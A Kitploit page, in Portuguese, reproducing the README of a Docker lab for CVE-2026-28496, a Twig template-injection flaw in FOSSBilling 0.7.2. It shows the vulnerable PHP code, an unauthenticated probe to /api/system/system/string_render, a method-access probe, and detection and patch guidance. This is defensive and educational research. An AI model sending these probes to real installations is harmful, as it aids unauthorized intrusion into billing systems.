Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-28496-Lab — Laboratório baseado em Docker para reproduzir e validar CVE-2026-28496, uma vulnerabilidade de Server-Side Template Injection no renderizador Twig do FOSSBilling, com alvos de comparação vulneráveis e corrigidos. | Kitploit
Ferramentas/GitHubGitHub/rootdirective-sec/cve-2026-28496-lab
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática
GitHubrootdirective-sec/cve-2026-28496-lab

CVE-2026-28496-Lab

Laboratório baseado em Docker para reproduzir e validar CVE-2026-28496, uma vulnerabilidade de Server-Side Template Injection no renderizador Twig do FOSSBilling, com alvos de comparação vulneráveis e corrigidos.

Ver Repositório
1há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-28496 - Injeção de Template no Lado do Servidor na Renderização Twig

Resumo Executivo

Este repositório contém um laboratório Docker local para reproduzir e validar o CVE-2026-28496, uma vulnerabilidade de Injeção de Template no Lado do Servidor que afeta o comportamento de renderização de templates Twig do FOSSBilling.

FOSSBilling é uma plataforma gratuita e de código aberto de faturamento e gerenciamento de clientes. As versões anteriores a 0.8.0 são afetadas por um comportamento inseguro de renderização de templates Twig que pode avaliar expressões de template fornecidas. O FOSSBilling 0.8.0 é usado como alvo de comparação corrigido neste laboratório.

Este laboratório compara duas versões do FOSSBilling:

ServiçoVersão do FOSSBillingPropósitoURL
vuln0.7.2Alvo de comparação vulnerávelhttp://localhost:8081
patched0.8.0Alvo de comparação corrigidohttp://localhost:8082

O caminho de validação HTTP demonstrado neste laboratório local é:```text Unauthenticated HTTP request in this local FOSSBilling 0.7.2 lab → POST /api/system/system/string_render → JSON body contains _tpl={{ 7*7 }} → vulnerable target renders the Twig expression → patched target does not expose the same tested API behavior

root@kitploit:~
No alvo vulnerável, a chamada de API retorna:```json
{"result":"49","error":null}

No alvo corrigido, a mesma solicitação retorna:```json {"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}

root@kitploit:~
Este laboratório valida o comportamento HTTP vulnerável versus corrigido usando FOSSBilling 0.7.2 e FOSSBilling 0.8.0.

O laboratório é intencionalmente limitado a serviços Docker locais. Não visa sistemas externos e não inclui web shells, malware, persistência, callbacks externos, dumping de banco de dados ou cargas destrutivas.

## Fatos Verificados

| Alegação                                                                               | Evidência                                                                                                           | Como verificar neste laboratório                                                              |
| ----------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------ | -------------------------------------------------------------------------------------- |
| CVE-2026-28496 afeta versões do FOSSBilling anteriores a 0.8.0.                         | O CVE público e os metadados de aviso identificam o FOSSBilling anterior a 0.8.0 como afetado por SSTI do Twig.                     | Revise a seção de Referências e compare as versões vulnerável e corrigida do alvo.  |
| O FOSSBilling 0.7.2 é usado como alvo vulnerável de comparação.                      | O serviço vulnerável é construído a partir da imagem Docker oficial `fossbilling/fossbilling:0.7.2`.                    | Inspecione `vuln/Dockerfile` e execute `docker compose ps -a`.                              |
| O FOSSBilling 0.8.0 é usado como alvo corrigido de comparação.                         | O serviço corrigido é construído a partir da imagem Docker oficial `fossbilling/fossbilling:0.8.0`.                       | Inspecione `patched/Dockerfile` e execute `docker compose ps -a`.                           |
| O caminho HTTP vulnerável é `/api/system/system/string_render`.                     | O alvo vulnerável retorna JSON com `result: "49"` para `_tpl={{ 7*7 }}`.                                       | Execute `python3 poc/poc.py --url http://localhost:8081`.                                  |
| O alvo corrigido não expõe o mesmo comportamento HTTP.                          | O alvo corrigido retorna `Unknown API call system/system/string_render`.                                         | Execute `python3 poc/poc.py --url http://localhost:8082`.                                  |
| O PoC é exclusivamente HTTP.                                                               | `poc/poc.py` envia requisições HTTP POST e não chama Docker, Docker Compose, comandos de shell ou APIs de contêiner. | Inspecione `poc/poc.py`.                                                                  |
| O laboratório instala automaticamente ambos os alvos FOSSBilling durante a inicialização do Docker Compose.       | Os contêineres sidecar de instalação única completam a configuração e saem com status 0.                                   | Execute `docker compose ps -a` e `docker compose logs installer-vuln installer-patched`. |
| O alvo vulnerável renderiza a expressão Twig inofensiva.                         | A resposta HTTP da porta 8081 é `{"result":"49","error":null}`.                                                | Execute o comando PoC vulnerável.                                                        |
| O alvo corrigido não renderiza a mesma expressão através do caminho de API testado. | A resposta HTTP da porta 8082 é um erro da API JSON com código `879`.                                              | Execute o comando PoC corrigido.                                                           |

## Premissas e Desconhecidos

Este laboratório usa o FOSSBilling 0.7.2 como alvo vulnerável de comparação porque pesquisas públicas de vulnerabilidade identificam versões do FOSSBilling anteriores a 0.8.0 como afetadas, e 0.7.2 é a última versão vulnerável usada na cadeia testada.

Este laboratório usa o FOSSBilling 0.8.0 como alvo corrigido de comparação porque metadados de aviso público identificam 0.8.0 como a versão corrigida.

Este laboratório foca no comportamento HTTP observável de:```text
POST /api/system/system/string_render

com este corpo JSON:```json {"_tpl":"{{ 7*7 }}"}

root@kitploit:~
O laboratório demonstra que o FOSSBilling 0.7.2 renderiza a expressão Twig fornecida através do caminho da API HTTP, enquanto o FOSSBilling 0.8.0 não expõe a mesma chamada de API.

Este laboratório não afirma testar todos os recursos de renderização de templates do FOSSBilling. O CVE-2026-28496 também se relaciona a outros contextos de renderização Twig, como recursos de renderização de templates disponíveis dentro da aplicação.

Este laboratório não demonstra a cadeia completa de execução remota de código não autenticada. Ele valida o comportamento HTTP não autenticado observado no alvo local do FOSSBilling 0.7.2 e o compara com o FOSSBilling 0.8.0. A cadeia pública completa envolve comportamento adicional de autorização da API além da validação segura de expressão Twig mostrada aqui.

O laboratório não demonstra:

* execução remota de comandos,
* extração de credenciais,
* extração de banco de dados,
* instalação de extensões,
* escrita arbitrária de arquivos,
* persistência,
* upload de web shell,
* callbacks externos,
* ataques contra sistemas não laboratoriais,
* ou atividades de pós-exploração.

## Resumo da Causa Raiz

A causa raiz do CVE-2026-28496 é a renderização insegura de templates Twig.

O FOSSBilling usa Twig para renderizar templates dinâmicos. Em versões vulneráveis, uma string de template fornecida pode ser passada para a lógica de renderização Twig sem restrições de sandbox suficientes.

O comportamento vulnerável pode ser resumido como:```text
Input template string
→ FOSSBilling API receives _tpl
→ System\Api\Admin::string_render() reads _tpl
→ System\Service::renderString() receives the template string
→ Twig creates a template from the supplied string
→ Twig evaluates the expression
→ rendered output is returned in the HTTP response

Para esta expressão de template inofensiva:```twig {{ 7*7 }}

root@kitploit:~
o alvo vulnerável avalia a expressão e retorna:```text
49

O problema de segurança não se limita à avaliação aritmética. A avaliação aritmética é apenas o sinal visível seguro usado neste laboratório.

O problema mais sensível à segurança é que os templates Twig sem sandbox podem acessar objetos e métodos expostos no contexto do template. Pesquisas públicas descrevem um caminho de maior impacto onde a execução do template Twig pode alcançar os internals da aplicação, incluindo o contêiner de injeção de dependência, quando objetos de contexto de template adequados estão disponíveis.

O modelo vulnerável simplificado é:```text Template renderer → unsandboxed Twig expression → method/object access may be possible → application internals may become reachable → sensitive services may become reachable

root@kitploit:~
O design corrigido no FOSSBilling 0.8.0 reforça o comportamento vulnerável. Neste laboratório, o alvo corrigido não expõe mais a chamada de API testada:```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}

A lição de segurança é:```text Template engines must not render user-controlled template strings in a privileged application context unless strict authorization and sandbox boundaries are enforced.

root@kitploit:~
## Análise do Código Fonte

O comportamento HTTP vulnerável é suportado pelo caminho do código-fonte no FOSSBilling 0.7.2.

O método da API recebe `_tpl` dos dados da solicitação e o passa para o renderizador do serviço do sistema.

Ponto de entrada vulnerável relevante:```php
public function string_render($data)
{
    if (!isset($data['_tpl'])) {
        error_log('_tpl parameter not passed');
        return '';
    }

    $tpl = $data['_tpl'];
    $try_render = $data['_try'] ?? false;

    $vars = $data;
    unset($vars['_tpl'], $vars['_try']);

    return $this->getService()->renderString($tpl, $try_render, $vars);
}

O fluxo de dados importante é:```text HTTP request body → _tpl → System\Api\Admin::string_render() → System\Service::renderString()

root@kitploit:~
No FOSSBilling 0.7.2, `renderString()` tenta carregar o valor fornecido como um nome de template. Se isso falhar, trata o valor fornecido como uma string de template e o passa para `createTemplateFromString()`. Fluxo vulnerável simplificado:```php
public function renderString($tpl, $try_render, $vars)
{
    $twig = $this->di['twig'];

    try {
        $template = $twig->load($tpl);
        $parsed = $template->render($vars);
    } catch (\Exception) {
        // $twig->load throws an exception when $tpl is a raw template string
        $parsed = $this->createTemplateFromString($tpl, $try_render, $vars);
    }

    return $parsed;
}

O ponto vulnerável é createTemplateFromString():```php public function createTemplateFromString($tpl, $try_render, $vars) { try { $twig = $this->di['twig']; $template = $twig->createTemplate($tpl); $parsed = $template->render($vars); } catch (\Exception $e) { $parsed = $tpl;

root@kitploit:~
    if (!$try_render) {
        throw $e;
    }
}

return $parsed;

}

root@kitploit:~
O padrão de origem relevante para segurança é:```text
_tpl from request data
→ used as $tpl
→ passed to Twig createTemplate()
→ rendered server-side

Isto explica o resultado do laboratório vulnerável:```text POST /api/system/system/string_render {"_tpl":"{{ 7*7 }}"}

root@kitploit:~
Resposta vulnerável:```json
{"result":"49","error":null}

O valor 49 prova que a expressão Twig fornecida foi avaliada no lado do servidor. O payload seguro do laboratório usa apenas aritmética:```twig {{ 7*7 }}

root@kitploit:~
Contudo, a causa raiz é mais sensível à segurança do que a avaliação de expressões aritméticas. Em contextos de renderização vulneráveis, os templates Twig podem interagir com objetos da aplicação que estão presentes no ambiente do template. Pesquisas públicas descrevem cadeias de maior impacto onde objetos de contexto de API podem expor acesso a componentes internos da aplicação, como o contêiner de injeção de dependência.

Uma verificação de regressão em nível de fonte confirmou o comportamento mais profundo:```text
FOSSBilling 0.7.2:
  {{ guest.getDi() }}
  → DI_VISIBLE

FOSSBilling 0.8.0:
  {{ guest.getDi() }}
  → blocked by Twig sandbox policy

É por isso que a vulnerabilidade é melhor compreendida como renderização insegura de template, e não meramente um bug de avaliação de expressão no estilo de calculadora.

Resumo da Correção na Fonte

O FOSSBilling 0.8.0 altera o comportamento vulnerável ao endurecer a renderização de strings e remover o comportamento HTTP vulnerável testado.

Na versão corrigida, a renderização de strings é roteada através de renderização ciente de sandbox, em vez de renderizar diretamente strings de template arbitrárias com amplas capacidades do Twig.

O código do serviço corrigido chama um renderizador ciente de sandbox:```php $rendered = SandboxedStringRenderer::render( $twig, $tpl, $vars, $errorMessage );

root@kitploit:~
O renderizador com sandbox cria e renderiza um modelo, mas captura violações de sandbox do Twig e as converte em um erro de aplicação controlado:```php
final class SandboxedStringRenderer
{
    public static function render(
        Environment $twig,
        string $content,
        array $context = [],
        string $name = 'template'
    ): string {
        try {
            return $twig->createTemplate($content)->render($context);
        } catch (SecurityError $e) {
            throw new InformationException(
                '%name% contains disallowed Twig syntax: %error%',
                [
                    '%name%' => $name,
                    '%error%' => $e->getMessage(),
                ]
            );
        }
    }
}

A política de sandbox bloqueia o acesso a métodos e propriedades por padrão:```php $methods = []; $properties = [];

root@kitploit:~
A alteração relevante para a segurança é:```text
Before:
  request-controlled template string
  → Twig createTemplate()
  → render without the patched sandbox boundary

After:
  template string rendering
  → SandboxedStringRenderer
  → Twig sandbox policy
  → method/property access denied by default

Para o caminho da API HTTP pública testado neste laboratório, o FOSSBilling 0.8.0 não expõe a mesma chamada de API vulnerável:```json {"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}

root@kitploit:~
Isso fornece duas camadas de validação úteis:```text
HTTP behavior validation:
  0.7.2 renders {{ 7*7 }} through /api/system/system/string_render.
  0.8.0 does not expose the same API behavior.

Source/root-cause validation:
  0.7.2 allows unsafe Twig rendering behavior.
  0.8.0 introduces sandboxed string rendering and blocks method/property access.

O laboratório mantém essas duas camadas separadas:```text HTTP PoC result proves the vulnerable endpoint behavior.

Source patch review explains why unsafe Twig rendering was dangerous and how the patched version hardens it.

root@kitploit:~
## Arquitetura do Laboratório

O laboratório executa duas instalações isoladas do FOSSBilling através do Docker Compose.```text
.
├── docker-compose.yml
├── vuln/
│   └── Dockerfile
├── patched/
│   └── Dockerfile
├── poc/
│   └── poc.py
├── scripts/
│   └── auto-install.sh
├── README.md
└── .gitignore

Os dois serviços FOSSBilling usam bancos de dados separados e versões de aplicação separadas:

ServiceComponentVersion / Role
vulnFOSSBillingaplicação alvo vulnerável
patchedFOSSBillingaplicação alvo corrigida
vuln-dbMariaDBbanco de dados para alvo vulnerável
patched-dbMariaDBbanco de dados para alvo corrigido
installer-vulncurl sidecarinstala automaticamente alvo vulnerável
installer-patchedcurl sidecarinstala automaticamente alvo corrigido

Serviços expostos padrão:```text Vulnerable target: http://localhost:8081 Patched target: http://localhost:8082

root@kitploit:~
O laboratório usa versões fixas do FOSSBilling:

| Alvo                | Versão do FOSSBilling | Comportamento esperado                                   |
| --------------------- | ------------------: | --------------------------------------------------- |
| http://localhost:8081 |               0.7.2 | renderiza `{{ 7*7 }}` através do caminho da API vulnerável |
| http://localhost:8082 |               0.8.0 | não expõe o mesmo comportamento vulnerável da API    |

Os sidecars do instalador são executados automaticamente durante `docker compose up`. Eles inicializam ambos os alvos FOSSBilling com credenciais de banco de dados descartáveis locais e depois saem.

O laboratório não cria ou modifica a rota da API vulnerável.

A rota `/api/system/system/string_render` é fornecida pela aplicação FOSSBilling no alvo vulnerável 0.7.2 após a instalação. O laboratório Docker apenas instala a aplicação através do seu fluxo normal de instalador e depois envia uma requisição HTTP ao endpoint existente da aplicação.

O alvo corrigido 0.8.0 retorna `Unknown API call system/system/string_render`, o que confirma que o comportamento da rota testado vem da própria versão da aplicação, e não de uma rota criada pelo laboratório.

## Requisitos

* Docker Desktop ou Docker Engine
* Docker Compose v2
* Python 3
* Acesso à Internet durante o primeiro pull da imagem Docker

Nenhum pacote Python de terceiros é necessário. O PoC utiliza apenas módulos da biblioteca padrão do Python.

## Início Rápido

Inicie o laboratório a partir de um estado limpo:```bash
docker compose down -v --remove-orphans
docker compose up -d --build

Verificar o status do serviço:```bash docker compose ps -a

root@kitploit:~
Serviços esperados em execução:```text
cve-2026-28496-vuln
cve-2026-28496-patched
cve-2026-28496-vuln-db
cve-2026-28496-patched-db

Serviços do instalador esperados e concluídos:```text cve-2026-28496-installer-vuln Exited (0) cve-2026-28496-installer-patched Exited (0)

root@kitploit:~
Verifique os logs do instalador:```bash
docker compose logs installer-vuln installer-patched

Verifique as aplicações web:```bash curl -i http://127.0.0.1:8081 | head curl -i http://127.0.0.1:8082 | head

root@kitploit:~
Execute a validação HTTP contra o alvo vulnerável:```bash
python3 poc/poc.py --url http://localhost:8081

Execute validação HTTP contra o alvo corrigido:```bash python3 poc/poc.py --url http://localhost:8082

root@kitploit:~
## PoC Usage

O PoC aceita uma URL base local do FOSSBilling:```bash
python3 poc/poc.py --url <target_url>

Exemplos:```bash python3 poc/poc.py --url http://localhost:8081 python3 poc/poc.py --url http://localhost:8082 python3 poc/poc.py --url http://127.0.0.1:8081 python3 poc/poc.py --url http://127.0.0.1:8082

root@kitploit:~
O PoC envia esta solicitação HTTP:```text
POST /api/system/system/string_render
Content-Type: application/json

Corpo da requisição:```json {"_tpl":"{{ 7*7 }}"}

root@kitploit:~
O PoC é apenas HTTP. Ele não chama Docker, Docker Compose, comandos de shell, WP-CLI ou APIs de contêiner.

## Resultados Esperados

### Alvo Vulnerável

Comando:```bash
python3 poc/poc.py --url http://localhost:8081

Sinal esperado do alvo vulnerável:```text CVE-2026-28496 HTTP validation PoC Scope: authorized local lab target only URL: http://localhost:8081 Endpoint: http://localhost:8081/api/system/system/string_render Template: {{ 7*7 }}

===== HTTP response ===== status=200 content-type=application/json; charset=utf-8 {"result":"49","error":null}

===== verdict ===== VULNERABLE/REACHABLE: server rendered {{ 7*7 }} and returned 49.

root@kitploit:~
### Alvo Corrigido

Comando:```bash
python3 poc/poc.py --url http://localhost:8082

Sinal esperado do alvo corrigido:```text CVE-2026-28496 HTTP validation PoC Scope: authorized local lab target only URL: http://localhost:8082 Endpoint: http://localhost:8082/api/system/system/string_render Template: {{ 7*7 }}

===== HTTP response ===== status=400 content-type=application/json {"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}

===== verdict ===== PATCHED/NOT REACHABLE: target did not render the supplied template.

root@kitploit:~
A diferença importante é:```text
FOSSBilling 0.7.2
→ renders {{ 7*7 }}
→ returns 49

FOSSBilling 0.8.0
→ does not render the supplied template through this API path
→ returns an API error

Como Funciona a Validação

O validador envia uma única requisição HTTP POST para o endpoint da API do FOSSBilling:```text /api/system/system/string_render

root@kitploit:~
O corpo da requisição contém uma expressão Twig inofensiva:```json
{"_tpl":"{{ 7*7 }}"}

Comportamento vulnerável esperado:```text HTTP 200 OK JSON result is "49"

root@kitploit:~
Comportamento esperado após a correção:```text
HTTP 400 Bad Request
JSON error indicates the API call is unknown or not reachable

Isto confirma que o alvo vulnerável avalia o template fornecido no lado do servidor. O PoC utiliza intencionalmente {{ 7*7 }} em vez de um payload destrutivo. O objetivo é comprovar a condição técnica de forma segura:```text attacker-controlled template input

  • server-side Twig evaluation
  • observable rendered output
root@kitploit:~
Para uma validação de causa raiz mais aprofundada no nível do código-fonte, o acesso a métodos é uma prova mais forte do problema subjacente. No entanto, o PoC público neste repositório utiliza a expressão aritmética mais segura para evitar demonstrar uma cadeia de alto impacto.

## Reprodução Manual de HTTP com curl

Sonda vulnerável:```bash
curl -i -X POST \
  'http://127.0.0.1:8081/api/system/system/string_render' \
  -H 'Content-Type: application/json' \
  --data '{"_tpl":"{{ 7*7 }}"}'

Resultado esperado:```text HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8

{"result":"49","error":null}

root@kitploit:~
Sonda corrigida:```bash
curl -i -X POST \
  'http://127.0.0.1:8082/api/system/system/string_render' \
  -H 'Content-Type: application/json' \
  --data '{"_tpl":"{{ 7*7 }}"}'

Resultado esperado:```text HTTP/1.1 400 Bad Request Content-Type: application/json

{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}

root@kitploit:~
## Impacto

Server-Side Template Injection in a billing and client management platform is security-sensitive because the application may store customer records, billing data, server credentials, payment configuration, and administrator-controlled automation logic.

O payload de laboratório demonstrado é inofensivo e apenas avalia:```twig
{{ 7*7 }}

No entanto, a classe subjacente de vulnerabilidade pode ser mais grave quando a execução do template tem acesso a objetos, métodos ou contêineres de serviços da aplicação.

O impacto potencial no mundo real, dependendo da configuração e do contexto do template acessível, pode incluir:

  • divulgação de informações,
  • acesso a componentes internos da aplicação,
  • acesso a serviços sensíveis da aplicação,
  • modificação do estado da aplicação,
  • e execução remota de código quando combinada com um caminho de execução adequado.

Este laboratório demonstra apenas o sinal seguro de validação HTTP. Não demonstra acesso a credenciais, acesso a banco de dados, instalação de extensões, execução de comandos ou pós-exploração.

Detecção e Monitoramento

Indicadores potenciais incluem solicitações HTTP ao endpoint da API do FOSSBilling:```text /api/system/system/string_render

root@kitploit:~
Padrão de requisição suspeito:```text
POST /api/system/system/string_render
Content-Type: application/json

Indicadores suspeitos no corpo da requisição:```text _tpl {{ }} Twig syntax

root@kitploit:~
Exemplo de padrão de log de acesso:```text
POST /api/system/system/string_render

Exemplo de payload JSON:```json {"_tpl":"{{ 7*7 }}"}

root@kitploit:~
Ações de monitoramento recomendadas:

* Revise os logs de acesso do servidor web para `/api/system/system/string_render`.
* Revise solicitações contendo `_tpl` em corpos de requisições JSON.
* Revise solicitações contendo sintaxe do Twig, como `{{` e `}}`.
* Revise respostas bem-sucedidas da API que contenham saída renderizada de template.
* Revise respostas de API com falha para tentativas suspeitas de renderização de template.
* Revise a atividade do administrador se houver suspeita de exploração.
* Revise alterações de configuração de template, e-mail, mailer em massa e adaptador de pagamento.
* Revise logs de aplicação para erros de renderização de template ou chamadas de API inesperadas.

Ideia de detecção de alto sinal:```text
POST request to /api/system/system/string_render
AND request body contains "_tpl"
AND request body contains "{{"

Outro artefato de validação local de alto sinal:```text Request body: {"_tpl":"{{ 7*7 }}"}

Response body: {"result":"49","error":null}

root@kitploit:~
## Mitigação e Notas de Correção

Atualize o FOSSBilling para a versão 0.8.0 ou posterior.

Para ambientes de produção, atualize para a versão mais recente disponível, em vez de parar na versão de comparação de laboratório.

Etapas de mitigação recomendadas:

* Atualize o FOSSBilling para 0.8.0 ou posterior.
* Confirme que a versão instalada não está no intervalo afetado.
* Restrinja o acesso público a caminhos de API administrativos quando possível.
* Revise os logs de acesso web para requisições a `/api/system/system/string_render`.
* Revise templates, templates de e-mail, mailers em massa e adaptadores de pagamento personalizados para sintaxe Twig suspeita.
* Rotacione segredos se houver suspeita de exploração.
* Revise registros de clientes, faturamento, pagamento e gerenciamento de servidores para acesso não autorizado.
* Trate as regras de WAF ou bloqueios de proxy reverso como controles temporários, não como substituições para a atualização.

Lições de engenharia de segurança:

* Não renderize strings de template não confiáveis em um contexto de aplicação privilegiado.
* Não exponha contêineres de serviço da aplicação a contextos de template.
* Use renderização de template em sandbox para recursos de template controlados pelo usuário ou administrador.
* Negue acesso a métodos e propriedades a menos que explicitamente necessário.
* Mantenha as falhas de autorização da API explícitas e feche em caso de falha.
* Trate os recursos de renderização de template como superfícies adjacentes à execução de código.

## Comandos Úteis de Verificação

Verificar o status do container:```bash
docker compose ps -a

Verifique os logs do instalador:```bash docker compose logs installer-vuln installer-patched

root@kitploit:~
Verificar serviços web:```bash
curl -i http://127.0.0.1:8081 | head
curl -i http://127.0.0.1:8082 | head

Executar validação HTTP vulnerável:```bash python3 poc/poc.py --url http://localhost:8081

root@kitploit:~
Executar validação HTTP corrigida:```bash
python3 poc/poc.py --url http://localhost:8082

Requisição vulnerável manual:```bash curl -i -X POST
'http://127.0.0.1:8081/api/system/system/string_render'
-H 'Content-Type: application/json'
--data '{"_tpl":"{{ 7*7 }}"}'

root@kitploit:~
Solicitação de patch manual:```bash
curl -i -X POST \
  'http://127.0.0.1:8082/api/system/system/string_render' \
  -H 'Content-Type: application/json' \
  --data '{"_tpl":"{{ 7*7 }}"}'

Inspecione o fluxo de código-fonte vulnerável a partir da árvore de código-fonte extraída:```bash git checkout 0.7.2

grep -n "function string_render" -A30 src/modules/System/Api/Admin.php grep -n "function renderString" -A70 src/modules/System/Service.php grep -n "function createTemplateFromString" -A30 src/modules/System/Service.php

root@kitploit:~
Inspecione o renderizador de sandbox corrigido a partir da árvore de origem verificada:```bash
git checkout 0.8.0

grep -R "SandboxedStringRenderer" -n src/modules src/library | head -30
grep -R "\$methods = \[\]\|\$properties = \[\]" -n src/library/FOSSBilling/Twig

Salvar evidência de validação:```bash mkdir -p evidence

python3 poc/poc.py --url http://localhost:8081
| tee evidence/vulnerable-http-validation.txt

python3 poc/poc.py --url http://localhost:8082
| tee evidence/patched-http-validation.txt

docker compose ps -a
| tee evidence/docker-compose-ps.txt

docker compose logs installer-vuln installer-patched
| tee evidence/installer-logs.txt

root@kitploit:~
Verifique os cabeçalhos de resposta do FOSSBilling:```bash
curl -i http://127.0.0.1:8081 | grep -i 'x-fossbilling-version'
curl -i http://127.0.0.1:8082 | grep -i 'x-fossbilling-version'

Limpeza

Parar e remover contêineres e redes:```bash docker compose down --remove-orphans

root@kitploit:~
Remova contêineres, redes e volumes:```bash
docker compose down -v --remove-orphans

Remova arquivos de evidência local se criados:```bash rm -rf evidence/

root@kitploit:~
## Limites de Segurança

Este laboratório é apenas para pesquisa de segurança local e demonstração controlada.

Não execute o PoC ou requisições curl manuais contra sistemas que você não possui ou para os quais não tem autorização explícita para testar.

Não use credenciais reais de produção, dados de clientes, dados de pagamento, chaves de API ou segredos de produção neste laboratório.

O escopo pretendido é limitado a serviços Docker locais, tais como:```text
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082

O PoC é intencionalmente HTTP-only e de escopo local. Ele não chama Docker, Docker Compose, comandos shell, WP-CLI ou APIs de contêiner.

O laboratório não inclui payloads para:

  • web shell upload,
  • arbitrary command execution,
  • persistence,
  • lateral movement,
  • credential theft,
  • database dumping,
  • customer data access,
  • payment credential access,
  • or external callbacks.

O objetivo é demonstrar uma condição técnica específica em um ambiente controlado:```text HTTP request

  • FOSSBilling string_render API path
  • Twig template expression
  • vulnerable target renders the expression
  • patched target does not render the expression
root@kitploit:~
## Referências

* Registro CVE: CVE-2026-28496
  https://www.cve.org/CVERecord?id=CVE-2026-28496

* Aviso do GitHub: GHSA-57mv-jm88-66jc
  https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-57mv-jm88-66jc

* VulnCheck: Bypass de Autenticação e SSTI do Twig para RCE não autenticado no FOSSBilling
  https://www.vulncheck.com/blog/fossbilling-auth-bypass-ssti-rce

* Documentação Docker do FOSSBilling
  https://docs.fossbilling.org/getting-started/docker/

* Repositório GitHub do FOSSBilling
  https://github.com/FOSSBilling/FOSSBilling

* Imagem Docker do FOSSBilling
  https://hub.docker.com/r/fossbilling/fossbilling

* Documentação do Twig: Extensão Sandbox
  https://twig.symfony.com/doc/3.x/sandbox.html
Baixar ferramenta